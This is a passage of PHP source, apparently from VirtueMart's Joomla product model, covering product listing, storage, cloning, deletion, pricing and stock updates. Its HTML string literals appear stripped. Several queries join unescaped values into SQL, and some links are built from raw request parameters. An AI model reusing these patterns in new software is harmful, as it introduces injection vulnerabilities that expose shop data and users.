$this->listing = TRUE; $products = $this->getProducts ($ids, $front, $withCalc, $onlyPublished, $single); $this->listing = FALSE; return $products; } /** * overriden getFilter to persist filters * * @author OSP */ public function setFilter () { $app = JFactory::getApplication (); if (!$app->isSite ()) { //persisted filter only in admin $view = JRequest::getWord ('view'); $mainframe = JFactory::getApplication (); $this->virtuemart_category_id = $mainframe->getUserStateFromRequest ('com_virtuemart.' . $view . '.filter.virtuemart_category_id', 'virtuemart_category_id', 0, 'int'); $this->setState ('virtuemart_category_id', $this->virtuemart_category_id); $this->virtuemart_manufacturer_id = $mainframe->getUserStateFromRequest ('com_virtuemart.' . $view . '.filter.virtuemart_manufacturer_id', 'virtuemart_manufacturer_id', 0, 'int'); $this->setState ('virtuemart_manufacturer_id', $this->virtuemart_manufacturer_id); } else { $this->virtuemart_category_id = JRequest::getInt ('virtuemart_category_id', FALSE); } } /** * Returns products for given array of ids * * @author Max Milbers * @param int $productIds * @param boolean $front * @param boolean $withCalc * @param boolean $onlyPublished */ public function getProducts ($productIds, $front = TRUE, $withCalc = TRUE, $onlyPublished = TRUE, $single = FALSE) { if (empty($productIds)) { return array(); } $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getCurrentUser (); if(!is_array($currentVMuser->shopper_groups)){ $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; } else { $virtuemart_shoppergroup_ids = $currentVMuser->shopper_groups; } $maxNumber = VmConfig::get ('absMaxProducts', 700); $products = array(); $i = 0; if ($single) { foreach ($productIds as $id) { if ($product = $this->getProductSingle ((int)$id, $front,1,TRUE,$virtuemart_shoppergroup_ids)) { $products[] = $product; $i++; } if ($i > $maxNumber) { vmdebug ('Better not to display more than ' . $maxNumber . ' products'); return $products; } } } else { foreach ($productIds as $id) { if ($product = $this->getProduct ((int)$id, $front, $withCalc, $onlyPublished, 1, TRUE, $virtuemart_shoppergroup_ids)) { $products[] = $product; $i++; } if ($i > $maxNumber) { vmdebug ('Better not to display more than ' . $maxNumber . ' products'); return $products; } } } return $products; } /** * This function retrieves the "neighbor" products of a product specified by $virtuemart_product_id * Neighbors are the previous and next product in the current list * * @author Max Milbers * @param object $product The product to find the neighours of * @return array */ public function getNeighborProducts ($product, $onlyPublished = TRUE, $max = 1) { $db = JFactory::getDBO (); $neighbors = array('previous' => '', 'next' => ''); $oldDir = $this->filter_order_Dir; $this->_onlyQuery = true; if($this->filter_order_Dir=='ASC'){ $direction = 'DESC'; $op = '<='; } else { $direction = 'ASC'; $op = '>='; } $this->filter_order_Dir = $direction; //We try the method to get exact the next product, the other method would be to get the list of the browse view again and do a match //with the product id and giving back the neighbours $queryArray = $this->sortSearchListQuery($onlyPublished,(int)$product->virtuemart_category_id,false,1); if(isset($queryArray[1])){ $pos= strpos($queryArray[3],'ORDER BY'); $sp = array(); if($pos){ $orderByName = trim(substr ($queryArray[3],($pos+8)) ); $orderByName = str_replace('`','',$orderByName); if(strpos($orderByName,'.')){ $sp = explode('.',$orderByName); $orderByName = $sp[1]; } } $q = 'SELECT p.`virtuemart_product_id`, l.`product_name`, `pc`.ordering FROM `#__virtuemart_products` as p'; $joinT = ''; if(is_array($queryArray[1])){ $joinT = implode('',$queryArray[1]); } $q .= $joinT . ' WHERE (' . implode (' AND ', $queryArray[2]) . ') AND l.`virtuemart_product_id`!="'.$product->virtuemart_product_id.'" '; if(isset($product->$orderByName)){ $orderByValue = $product->$orderByName; if(isset($sp[0])){ $orderByName = '`'.$sp[0].'`.'.$orderByName; } } else { $orderByName = 'product_name'; $orderByValue = $product->product_name; } foreach ($neighbors as &$neighbor) { $qm = ' AND '.$orderByName.' '.$op.' "'.$orderByValue.'" ORDER BY '.$orderByName.' '.$direction.' LIMIT 1'; $db->setQuery ($q.$qm); //vmdebug('getNeighborProducts ',$q.$qm); if ($result = $db->loadAssocList ()) { $neighbor = $result; } if($this->filter_order_Dir=='ASC'){ $direction = 'DESC'; $op = '<='; } else { $direction = 'ASC'; $op = '>='; } } } $this->filter_order_Dir = $oldDir; $this->_onlyQuery = false; return $neighbors; } /* reorder product in one category * TODO this not work perfect ! (Note by Patrick Kohl) */ function saveorder ($cid = array(), $order, $filter = NULL) { JRequest::checkToken () or jexit ('Invalid Token'); $virtuemart_category_id = JRequest::getInt ('virtuemart_category_id', 0); $q = 'SELECT `id`,`ordering` FROM `#__virtuemart_product_categories` WHERE virtuemart_category_id=' . (int)$virtuemart_category_id . ' ORDER BY `ordering` ASC'; $this->_db->setQuery ($q); $pkey_orders = $this->_db->loadObjectList (); $tableOrdering = array(); foreach ($pkey_orders as $orderTmp) { $tableOrdering[$orderTmp->id] = $orderTmp->ordering; } // set and save new ordering foreach ($order as $key => $ord) { $tableOrdering[$key] = $ord; } asort ($tableOrdering); $i = 1; $ordered = 0; foreach ($tableOrdering as $key => $ord) { // if ($order != $i) { $this->_db->setQuery ('UPDATE `#__virtuemart_product_categories` SET `ordering` = ' . $i . ' WHERE `id` = ' . (int)$key . ' '); if (!$this->_db->query ()) { vmError ($this->_db->getErrorMsg ()); return FALSE; } $ordered++; // } $i++; } if ($ordered) { $msg = JText::sprintf ('COM_VIRTUEMART_ITEMS_MOVED', $ordered); } else { $msg = JText::_ ('COM_VIRTUEMART_ITEMS_NOT_MOVED'); } JFactory::getApplication ()->redirect ('index.php?option=com_virtuemart&view=product&virtuemart_category_id=' . $virtuemart_category_id, $msg); } /** * Moves the order of a record * * @param integer The increment to reorder by */ function move ($direction, $filter = NULL) { JRequest::checkToken () or jexit ('Invalid Token'); // Check for request forgeries $table = $this->getTable ('product_categories'); $table->move ($direction); JFactory::getApplication ()->redirect ('index.php?option=com_virtuemart&view=product&virtuemart_category_id=' . JRequest::getInt ('virtuemart_category_id', 0)); } /** * Store a product * * @author Max Milbers * @param $product given as reference * @param bool $isChild Means not that the product is child or not. It means if the product should be threated as child * @return bool */ public function store (&$product, $isChild = FALSE) { JRequest::checkToken () or jexit ('Invalid Token'); if ($product) { $data = (array)$product; } if (!class_exists ('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); $perm = Permissions::getInstance(); $superVendor = $perm->isSuperVendor(); if(empty($superVendor)){ vmError('You are not a vendor or administrator, storing of product cancelled'); return FALSE; } if (isset($data['intnotes'])) { $data['intnotes'] = trim ($data['intnotes']); } // Setup some place holders $product_data = $this->getTable ('products'); if(!empty($data['virtuemart_product_id'])){ $product_data -> load($data['virtuemart_product_id']); } //Set the decimals like product packaging //$decimals = array('product_length','product_width','product_height','product_weight','product_packaging'); foreach($this->decimals as $decimal){ if (array_key_exists ($decimal, $data)) { if(!empty($data[$decimal])){ $data[$decimal] = str_replace(',','.',$data[$decimal]); } else { $data[$decimal] = null; $product_data->$decimal = null; //vmdebug('Store product, set $decimal '.$decimal.' = null'); } } } //with the true, we do preloading and preserve so old values note by Max Milbers // $product_data->bindChecknStore ($data, $isChild); //We prevent with this line, that someone is storing a product as its own parent if(!empty($product_data->product_parent_id) and $product_data->product_parent_id == $data['virtuemart_product_id']){ $product_data->product_parent_id = 0; } $stored = $product_data->bindChecknStore ($data, false); $errors = $product_data->getErrors (); if(!$stored or count($errors)>0){ foreach ($errors as $error) { vmError ('Product store '.$error); } if(!$stored){ vmError('You are not an administrator or the correct vendor, storing of product cancelled'); } return FALSE; } $this->_id = $data['virtuemart_product_id'] = (int)$product_data->virtuemart_product_id; if (empty($this->_id)) { vmError('Product not stored, no id'); return FALSE; } //We may need to change this, the reason it is not in the other list of commands for parents if (!$isChild) { if (!empty($data['save_customfields'])) { if (!class_exists ('VirtueMartModelCustomfields')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'customfields.php'); } VirtueMartModelCustomfields::storeProductCustomfields ('product', $data, $product_data->virtuemart_product_id); } } // Get old IDS $old_price_ids = $this->loadProductPrices($this->_id,0,0,false); //vmdebug('$old_price_ids ',$old_price_ids); if (isset($data['mprices']['product_price']) and count($data['mprices']['product_price']) > 0){ foreach($data['mprices']['product_price'] as $k => $product_price){ $pricesToStore = array(); $pricesToStore['virtuemart_product_id'] = $this->_id; $pricesToStore['virtuemart_product_price_id'] = (int)$data['mprices']['virtuemart_product_price_id'][$k]; if (!$isChild){ //$pricesToStore['basePrice'] = $data['mprices']['basePrice'][$k]; $pricesToStore['product_override_price'] = $data['mprices']['product_override_price'][$k]; $pricesToStore['override'] = (int)$data['mprices']['override'][$k]; $pricesToStore['virtuemart_shoppergroup_id'] = (int)$data['mprices']['virtuemart_shoppergroup_id'][$k]; $pricesToStore['product_tax_id'] = (int)$data['mprices']['product_tax_id'][$k]; $pricesToStore['product_discount_id'] = (int)$data['mprices']['product_discount_id'][$k]; $pricesToStore['product_currency'] = (int)$data['mprices']['product_currency'][$k]; $pricesToStore['product_price_publish_up'] = $data['mprices']['product_price_publish_up'][$k]; $pricesToStore['product_price_publish_down'] = $data['mprices']['product_price_publish_down'][$k]; $pricesToStore['price_quantity_start'] = (int)$data['mprices']['price_quantity_start'][$k]; $pricesToStore['price_quantity_end'] = (int)$data['mprices']['price_quantity_end'][$k]; } if (!$isChild and isset($data['mprices']['use_desired_price'][$k]) and $data['mprices']['use_desired_price'][$k] == "1") { if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); $pricesToStore['salesPrice'] = $data['mprices']['salesPrice'][$k]; $pricesToStore['product_price'] = $data['mprices']['product_price'][$k] = $calculator->calculateCostprice ($this->_id, $pricesToStore); unset($data['mprices']['use_desired_price'][$k]); } else { if(isset($data['mprices']['product_price'][$k]) ){ $pricesToStore['product_price'] = $data['mprices']['product_price'][$k]; } } if ($isChild) $childPrices = $this->loadProductPrices($this->_id,0,0,false); if ((isset($pricesToStore['product_price']) and $pricesToStore['product_price']!='') || (isset($childPrices) and count($childPrices)>1)) { if ($isChild) { //$childPrices = $this->loadProductPrices($pricesToStore['virtuemart_product_price_id'],0,0,false); if(is_array($old_price_ids) and count($old_price_ids)>1){ //We do not touch multiple child prices. Because in the parent list, we see no price, the gui is //missing to reflect the information properly. $pricesToStore = false; $old_price_ids = array(); } else { unset($data['mprices']['product_override_price'][$k]); unset($pricesToStore['product_override_price']); unset($data['mprices']['override'][$k]); unset($pricesToStore['override']); } } //$data['mprices'][$k] = $data['virtuemart_product_id']; if($pricesToStore){ $toUnset = array(); foreach($old_price_ids as $key => $oldprice){ if(array_search($pricesToStore['virtuemart_product_price_id'], $oldprice )){ $pricesToStore = array_merge($oldprice,$pricesToStore); $toUnset[] = $key; } } $this->updateXrefAndChildTables ($pricesToStore, 'product_prices',$isChild); foreach($toUnset as $key){ unset( $old_price_ids[ $key ] ); } } } } } if ( count($old_price_ids) ) { $oldPriceIdsSql = array(); foreach($old_price_ids as $oldPride){ $oldPriceIdsSql[] = $oldPride['virtuemart_product_price_id']; } // delete old unused Prices $this->_db->setQuery( 'DELETE FROM `#__virtuemart_product_prices` WHERE `virtuemart_product_price_id` in ("'.implode('","', $oldPriceIdsSql ).'") '); $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmWarn('In store prodcut, deleting old price error',$err); } } if (!empty($data['childs'])) { foreach ($data['childs'] as $productId => $child) { $child['product_parent_id'] = $data['virtuemart_product_id']; $child['virtuemart_product_id'] = $productId; $this->store ($child, TRUE); } } if (!$isChild) { $data = $this->updateXrefAndChildTables ($data, 'product_shoppergroups'); $data = $this->updateXrefAndChildTables ($data, 'product_manufacturers'); if (!empty($data['categories']) && count ($data['categories']) > 0) { $data['virtuemart_category_id'] = $data['categories']; } else { $data['virtuemart_category_id'] = array(); } $data = $this->updateXrefAndChildTables ($data, 'product_categories'); // Update waiting list //TODO what is this doing? if (!empty($data['notify_users'])) { if ($data['product_in_stock'] > 0 && $data['notify_users'] == '1') { $waitinglist = VmModel::getModel ('Waitinglist'); $waitinglist->notifyList ($data['virtuemart_product_id']); } } // Process the images $mediaModel = VmModel::getModel ('Media'); $mediaModel->storeMedia ($data, 'product'); $errors = $mediaModel->getErrors (); foreach ($errors as $error) { vmError ($error); } } return $product_data->virtuemart_product_id; } public function updateXrefAndChildTables ($data, $tableName, $preload = FALSE) { JRequest::checkToken () or jexit ('Invalid Token'); //First we load the xref table, to get the old data $product_table_Parent = $this->getTable ($tableName); //We must go that way, because the load function of the vmtablexarry // is working different. if($preload){ //$product_table_Parent->setOrderable('ordering',false); $orderingA = $product_table_Parent->load($data['virtuemart_product_id']); } $product_table_Parent->bindChecknStore ($data); $errors = $product_table_Parent->getErrors (); foreach ($errors as $error) { vmError ($error); } return $data; } /** * This function creates a child for a given product id * * @author Max Milbers * @author Patrick Kohl * @param int id of parent id */ public function createChild ($id) { // created_on , modified_on $db = JFactory::getDBO (); $vendorId = 1; $childs = count ($this->getProductChildIds ($id)); $db->setQuery ('SELECT `product_name`,`slug` FROM `#__virtuemart_products` JOIN `#__virtuemart_products_' . VMLANG . '` as l using (`virtuemart_product_id`) WHERE `virtuemart_product_id`=' . (int)$id); $parent = $db->loadObject (); $prodTable = $this->getTable ('products'); //$newslug = $parent->slug . $id . rand (1, 9); $newslug = $prodTable->checkCreateUnique('products_' . VmConfig::$vmlang,$parent->slug); $data = array('product_name' => $parent->product_name, 'slug' => $newslug, 'virtuemart_vendor_id' => (int)$vendorId, 'product_parent_id' => (int)$id); $prodTable->bindChecknStore ($data); $langs = (array)VmConfig::get ('active_languages'); if (count ($langs) > 1) { foreach ($langs as $lang) { $lang = str_replace ('-', '_', strtolower ($lang)); $db->setQuery ('SELECT `product_name` FROM `#__virtuemart_products_' . $lang . '` WHERE `virtuemart_product_id` = "' . $prodTable->virtuemart_product_id . '" '); $res = $db->loadResult (); if (!$res) { $db->setQuery ('INSERT INTO `#__virtuemart_products_' . $lang . '` (`virtuemart_product_id`,`slug`) VALUES ("' . $prodTable->virtuemart_product_id . '","' . $newslug . '");'); $db->query (); $err = $db->getErrorMsg (); if (!empty($err)) { vmError ('Database error: createChild ' . $err); } } } } return $data['virtuemart_product_id']; } /** * Creates a clone of a given product id * * @author Max Milbers * @param int $virtuemart_product_id */ public function createClone ($id) { // if (is_array($cids)) $cids = array($cids); $product = $this->getProduct ($id, FALSE, FALSE, FALSE); $product->field = $this->productCustomsfieldsClone ($id); // vmdebug('$product->field',$product->field); $product->virtuemart_product_id = $product->virtuemart_product_price_id = 0; $product->mprices = $this->productPricesClone ($id); //Lets check if the user is admin or the mainvendor if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $admin = Permissions::getInstance()->check('admin'); if($admin){ $product->created_on = "0000-00-00 00:00:00"; $product->created_by = 0; } $product->slug = $product->slug . '-' . $id; $product->save_customfields = 1; JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $result=$dispatcher->trigger ('plgVmCloneProduct', array(&$product)); $this->store ($product); return $this->_id; } private function productPricesClone ($virtuemart_product_id) { $this->_db = JFactory::getDBO (); $q = "SELECT * FROM `#__virtuemart_product_prices`"; $q .= " WHERE `virtuemart_product_id` = " . $virtuemart_product_id; $this->_db->setQuery ($q); $prices = $this->_db->loadAssocList (); if ($prices) { foreach ($prices as $k => &$price) { unset($price['virtuemart_product_id'], $price['virtuemart_product_price_id']); if(empty($mprices[$k])) $mprices[$k] = array(); foreach ($price as $i => $value) { if(empty($mprices[$i])) $mprices[$i] = array(); $mprices[$i][$k] = $value; } } return $mprices; } else { return NULL; } } /* look if whe have a product type */ private function productCustomsfieldsClone ($virtuemart_product_id) { $this->_db = JFactory::getDBO (); $q = "SELECT * FROM `#__virtuemart_product_customfields`"; $q .= " WHERE `virtuemart_product_id` = " . $virtuemart_product_id; $this->_db->setQuery ($q); $customfields = $this->_db->loadAssocList (); if ($customfields) { foreach ($customfields as &$customfield) { unset($customfield['virtuemart_product_id'], $customfield['virtuemart_customfield_id']); } return $customfields; } else { return NULL; } } /** * removes a product and related table entries * * @author Max Milberes */ public function remove ($ids) { $table = $this->getTable ($this->_maintablename); $cats = $this->getTable ('product_categories'); $customfields = $this->getTable ('product_customfields'); $manufacturers = $this->getTable ('product_manufacturers'); $medias = $this->getTable ('product_medias'); $prices = $this->getTable ('product_prices'); $shop = $this->getTable ('product_shoppergroups'); $rating = $this->getTable ('ratings'); $review = $this->getTable ('rating_reviews'); $votes = $this->getTable ('rating_votes'); $ok = TRUE; foreach ($ids as $id) { $childIds = $this->getProductChildIds ($id); if (!empty($childIds)) { vmError (JText::_ ('COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD')); $ok = FALSE; continue; } if (!$table->delete ($id)) { vmError ('Product delete ' . $table->getError ()); $ok = FALSE; } if (!$cats->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete categories ' . $cats->getError ()); $ok = FALSE; } if (!$customfields->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete customs ' . $customfields->getError ()); $ok = FALSE; } $db = JFactory::getDbo(); $q = 'SELECT `virtuemart_customfield_id` FROM `#__virtuemart_product_customfields` as pc '; $q .= 'LEFT JOIN `#__virtuemart_customs`as c using (`virtuemart_custom_id`) WHERE pc.`custom_value` = "' . $id . '" AND `field_type`= "R"'; $db->setQuery($q); $list = $db->loadResultArray(); if ($list) { $listInString = implode(',',$list); //Delete media xref $query = 'DELETE FROM `#__virtuemart_product_customfields` WHERE `virtuemart_customfield_id` IN ('. $listInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } } if (!$manufacturers->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete manufacturer ' . $manufacturers->getError ()); $ok = FALSE; } if (!$medias->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete medias ' . $medias->getError ()); $ok = FALSE; } if (!$prices->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete prices ' . $prices->getError ()); $ok = FALSE; } if (!$shop->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete shoppergroups ' . $shop->getError ()); $ok = FALSE; } if (!$rating->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete rating ' . $rating->getError ()); $ok = FALSE; } if (!$review->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete reviews ' . $review->getError ()); $ok = FALSE; } if (!$votes->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete votes ' . $votes->getError ()); $ok = FALSE; } // delete plugin on product delete // $ok must be set to false if an error occurs JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $dispatcher->trigger ('plgVmOnDeleteProduct', array($id, &$ok)); } return $ok; } /** * Gets the price for a variant * * @author Max Milbers */ public function getPrice ($product, $customVariant, $quantity) { $this->_db = JFactory::getDBO (); // vmdebug('strange',$product); if (!is_object ($product)) { // vmError('deprecated use of getPrice'); $product = $this->getProduct ($product, TRUE, FALSE, TRUE,$quantity); // return false; } // Loads the product price details if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); // Calculate the modificator $variantPriceModification = $calculator->calculateModificators ($product, $customVariant); $prices = $calculator->getProductPrices ($product, $variantPriceModification, $quantity); return $prices; } /** * Get the Order By Select List * * notice by Max Milbers html tags should never be in a model. This function should be moved to a helper or simular,... * * @author Kohl Patrick * @access public * @param $fieds from config Back-end * @return $orderByList * Order,order By, manufacturer and category link List to echo Out **/ function getOrderByList ($virtuemart_category_id = FALSE) { $getArray = (JRequest::get ('get')); $link = ''; $fieldLink = ''; // remove setted variable unset ($getArray['globalCurrencyConverter'], $getArray['virtuemart_manufacturer_id'], $getArray['order'], $getArray['orderby']); // foreach ($getArray as $key => $value ) // $fieldLink .= '&'.$key.'='.$value; //vmdebug('getOrderByList',$getArray); foreach ($getArray as $key => $value) { if (is_array ($value)) { foreach ($value as $k => $v) { $fieldLink .= '&' . $key . '[' . $k . ']' . '=' . $v; } } else { if($key=='dir' or $key=='orderby') continue; if(empty($value)) continue; $fieldLink .= '&' . $key . '=' . $value; } } $fieldLink[0] = "?"; $fieldLink = 'index.php' . $fieldLink; $orderDirLink = ''; $orderDirConf = VmConfig::get ('prd_brws_orderby_dir'); $orderDir = JRequest::getWord ('dir', $orderDirConf); if ($orderDir != $orderDirConf ) { $orderDirLink .= '&dir=' . $orderDir; //was '&order=' } $orderbyTxt = ''; $orderby = JRequest::getVar ('orderby', VmConfig::get ('browse_orderby_field')); $orderby = $this->checkFilterOrder ($orderby); $orderbyCfg = VmConfig::get ('browse_orderby_field'); if ($orderby != $orderbyCfg) { $orderbyTxt = '&orderby=' . $orderby; } $manufacturerTxt = ''; $manufacturerLink = ''; if (VmConfig::get ('show_manufacturers')) { // manufacturer link list $virtuemart_manufacturer_id = JRequest::getInt ('virtuemart_manufacturer_id', ''); if ($virtuemart_manufacturer_id != '') { $manufacturerTxt = '&virtuemart_manufacturer_id=' . $virtuemart_manufacturer_id; } // if ($mf_virtuemart_product_ids) { $query = 'SELECT DISTINCT l.`mf_name`,l.`virtuemart_manufacturer_id` FROM `#__virtuemart_manufacturers_' . VMLANG . '` as l'; $query .= ' JOIN `#__virtuemart_product_manufacturers` AS pm using (`virtuemart_manufacturer_id`)'; $query .= ' LEFT JOIN `#__virtuemart_products` as p ON p.`virtuemart_product_id` = pm.`virtuemart_product_id` '; $query .= ' LEFT JOIN `#__virtuemart_product_categories` as c ON c.`virtuemart_product_id` = pm.`virtuemart_product_id` '; $query .= ' WHERE p.`published` =1'; if ($virtuemart_category_id) { $query .= ' AND c.`virtuemart_category_id` =' . (int)$virtuemart_category_id; } $query .= ' ORDER BY l.`mf_name`'; $this->_db->setQuery ($query); $manufacturers = $this->_db->loadObjectList (); // vmdebug('my manufacturers',$this->_db->getQuery()); $manufacturerLink = ''; if (count ($manufacturers) > 0) { $manufacturerLink = '
    '; if ($virtuemart_manufacturer_id > 0) { $manufacturerLink .= ''; } if (count ($manufacturers) > 1) { foreach ($manufacturers as $mf) { $link = JRoute::_ ($fieldLink . '&virtuemart_manufacturer_id=' . $mf->virtuemart_manufacturer_id . $orderbyTxt . $orderDirLink,FALSE); if ($mf->virtuemart_manufacturer_id != $virtuemart_manufacturer_id) { $manufacturerLink .= ''; } else { $currentManufacturerLink = '
    ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
    ' . $mf->mf_name . '
    '; } } } elseif ($virtuemart_manufacturer_id > 0) { $currentManufacturerLink = '
    ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
    ' . $manufacturers[0]->mf_name . '
    '; } else { $currentManufacturerLink = '
    ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
    ' . $manufacturers[0]->mf_name . '
    '; } $manufacturerLink .= '
    '; } // } } /* order by link list*/ $orderByLink = ''; $fields = VmConfig::get ('browse_orderby_fields'); if (count ($fields) > 1) { $orderByLink = '
    '; foreach ($fields as $field) { if ($field != $orderby) { $dotps = strrpos ($field, '.'); if ($dotps !== FALSE) { $prefix = substr ($field, 0, $dotps + 1); $fieldWithoutPrefix = substr ($field, $dotps + 1); // vmdebug('Found dot '.$dotps.' $prefix '.$prefix.' $fieldWithoutPrefix '.$fieldWithoutPrefix); } else { $prefix = ''; $fieldWithoutPrefix = $field; } $text = JText::_ ('COM_VIRTUEMART_' . strtoupper ($fieldWithoutPrefix)); $field = explode('.',$field); if(isset($field[1])){ $field = $field[1]; } else { $field = $field[0]; } $link = JRoute::_ ($fieldLink . $manufacturerTxt . '&orderby=' . $field,FALSE); $orderByLink .= ''; } } $orderByLink .= '
    '; } if($orderDir == 'ASC'){ $orderDir = 'DESC'; } else { $orderDir = 'ASC'; } if ($orderDir != $orderDirConf ) { $orderDirLink = '&dir=' . $orderDir; //was '&order=' } else { $orderDirLink = ''; } //$orderDirTxt = JText::_ ('COM_VIRTUEMART_SEARCH_ORDER_'.$orderDir); $orderDirTxt = JText::_ ('COM_VIRTUEMART_'.$orderDir); $link = JRoute::_ ($fieldLink . $orderbyTxt . $orderDirLink . $manufacturerTxt,FALSE); // full string list if ($orderby == '') { $orderby = $orderbyCfg; } $orderby = strtoupper ($orderby); $dotps = strrpos ($orderby, '.'); if ($dotps !== FALSE) { $prefix = substr ($orderby, 0, $dotps + 1); $orderby = substr ($orderby, $dotps + 1); // vmdebug('Found dot '.$dotps.' $prefix '.$prefix.' $fieldWithoutPrefix '.$fieldWithoutPrefix); } else { $prefix = ''; // $orderby = $orderby; } $orderByList = '
    ' . JText::_ ('COM_VIRTUEMART_ORDERBY') . '
    '; $orderByList .= $orderByLink . '
    '; $manuList = ''; if (VmConfig::get ('show_manufacturers')) { if (empty ($currentManufacturerLink)) { $currentManufacturerLink = '
    ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
    ' . JText::_ ('COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER') . '
    '; } $manuList = '
    ' . $currentManufacturerLink; $manuList .= $manufacturerLink . '
    '; } return array('orderby'=> $orderByList, 'manufacturer'=> $manuList); } // ************************************************** //Stocks // /** * Get the stock level for a given product * * @author RolandD * @access public * @param object $product the product to get stocklevel for * @return array containing product objects */ public function getStockIndicator ($product) { $this->_db = JFactory::getDBO (); /* Assign class to indicator */ $stock_level = $product->product_in_stock - $product->product_ordered; $reorder_level = $product->low_stock_notification; $level = 'normalstock'; $stock_tip = JText::_ ('COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP'); if ($stock_level <= $reorder_level) { $level = 'lowstock'; $stock_tip = JText::_ ('COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP'); } if ($stock_level <= 0) { $level = 'nostock'; $stock_tip = JText::_ ('COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP'); } $stock = new Stdclass(); $stock->stock_tip = $stock_tip; $stock->stock_level = $level; return $stock; } public function updateStockInDB ($product, $amount, $signInStock, $signOrderedStock) { // vmdebug( 'stockupdate in DB', $product->virtuemart_product_id,$amount, $signInStock, $signOrderedStock ); $validFields = array('=', '+', '-'); if (!in_array ($signInStock, $validFields)) { return FALSE; } if (!in_array ($signOrderedStock, $validFields)) { return FALSE; } //sanitize fields $id = (int)$product->virtuemart_product_id; $amount = (float)$amount; $update = array(); if ($signInStock != '=' or $signOrderedStock != '=') { if ($signInStock != '=') { $update[] = '`product_in_stock` = `product_in_stock` ' . $signInStock . $amount; if (strpos ($signInStock, '+') !== FALSE) { $signInStock = '-'; } else { $signInStock = '+'; } $update[] = '`product_sales` = `product_sales` ' . $signInStock . $amount; } if ($signOrderedStock != '=') { $update[] = '`product_ordered` = `product_ordered` ' . $signOrderedStock . $amount; } $q = 'UPDATE `#__virtuemart_products` SET ' . implode (", ", $update) . ' WHERE `virtuemart_product_id` = ' . $id; $this->_db->setQuery ($q); $this->_db->query (); //The low on stock notification comes now, when the people ordered. //You need to know that the stock is going low before you actually sent the wares, because then you ususally know it already yoursefl //note by Max Milbers if ($signInStock == '+') { $this->_db->setQuery ('SELECT (IFNULL(`product_in_stock`,"0")+IFNULL(`product_ordered`,"0")) < IFNULL(`low_stock_notification`,"0") ' . 'FROM `#__virtuemart_products` ' . 'WHERE `virtuemart_product_id` = ' . $id ); if ($this->_db->loadResult () == 1) { $this->lowStockWarningEmail( $id) ; } } } } function lowStockWarningEmail($virtuemart_product_id) { if(VmConfig::get('lstockmail',TRUE)){ if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } /* Load the product details */ $q = "SELECT l.product_name,product_in_stock FROM `#__virtuemart_products_" . VMLANG . "` l JOIN `#__virtuemart_products` p ON p.virtuemart_product_id=l.virtuemart_product_id WHERE p.virtuemart_product_id = " . $virtuemart_product_id; $this->_db->setQuery ($q); $vars = $this->_db->loadAssoc (); $url = JURI::root () . 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id; $link = ''. $vars['product_name'].''; $vars['subject'] = JText::sprintf('COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT',$vars['product_name']); $vars['mailbody'] =JText::sprintf('COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY',$link, $vars['product_in_stock']); $virtuemart_vendor_id = 1; $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorAddress']= shopFunctions::renderVendorAddress($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorModel->getVendorEmail ($virtuemart_vendor_id); $vars['user'] = $vendor->vendor_store_name ; shopFunctionsF::renderMail ('productdetails', $vars['vendorEmail'], $vars, 'productdetails', TRUE) ; return TRUE; } else { return FALSE; } } public function getUncategorizedChildren ($withParent) { if (empty($this->_uncategorizedChildren[$this->_id])) { //Todo add check for shoppergroup depended product display $q = 'SELECT * FROM `#__virtuemart_products` as p LEFT JOIN `#__virtuemart_products_' . VMLANG . '` as pl USING (`virtuemart_product_id`) LEFT JOIN `#__virtuemart_product_categories` as pc USING (`virtuemart_product_id`) '; // $q .= ' WHERE (`product_parent_id` = "'.$this->_id.'" AND (pc.`virtuemart_category_id`) IS NULL ) OR (`virtuemart_product_id` = "'.$this->_id.'" ) '; if ($withParent) { $q .= ' WHERE (`product_parent_id` = "' . $this->_id . '" OR `virtuemart_product_id` = "' . $this->_id . '") '; } else { $q .= ' WHERE `product_parent_id` = "' . $this->_id . '" '; } $app = JFactory::getApplication (); if ($app->isSite () && !VmConfig::get 